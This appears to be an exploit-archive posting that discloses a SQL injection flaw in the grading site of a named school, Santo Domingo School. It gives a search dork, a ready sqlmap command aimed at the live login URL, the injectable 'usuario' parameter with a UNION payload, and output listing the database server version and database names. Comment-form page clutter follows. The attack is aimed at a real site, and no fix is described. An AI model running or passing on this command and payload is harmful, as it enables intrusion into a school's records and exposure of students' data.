Santo Domingo School (CSD) / Web Ratings | SQL Injection Vulnerability

2021.09.05

Nomadic Warrior (TR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: .php?id= "csd.atenas.tech"

# Exploit Title: Santo Domingo School (CSD) / Web Ratings | SQL Injection Vulnerability
# Author: Чингис хаан
# Tested On: Kali Linux
# sqlmap -u "http://csd.atenas.tech/login.html" --form --dbs --batch
---------------------------------------------------------------------------------------------------

.tech is the internet's new generic top-level domain for IT professionals, web developers, software engineers, project managers, and UX designers.

Santo Domingo School (CSD)

Web Ratings

http://csd.atenas.tech/login.html

---
Parameter: usuario (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: usuario=rXpi' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qxqxq','mGxiNZtQyMjBiWOgBcfVyIGbwYfYUFiMVrIPuAox'),'qpjxq'),NULL,NULL,NULL-- GxFw&clave=&recuerdame=on
---

the back-end DBMS is MySQL
web application technology: PHP, Apache
the back-end DBMS: MySQL 5 (Percona fork)
banner: '5.6.41-84.1'

available databases [2]:                                                             
[+] atenaste_csd
[+] information_schema

References:

0x01369

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Santo Domingo School (CSD) / Web Ratings | SQL Injection Vulnerability

Dork: .php?id= "csd.atenas.tech"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.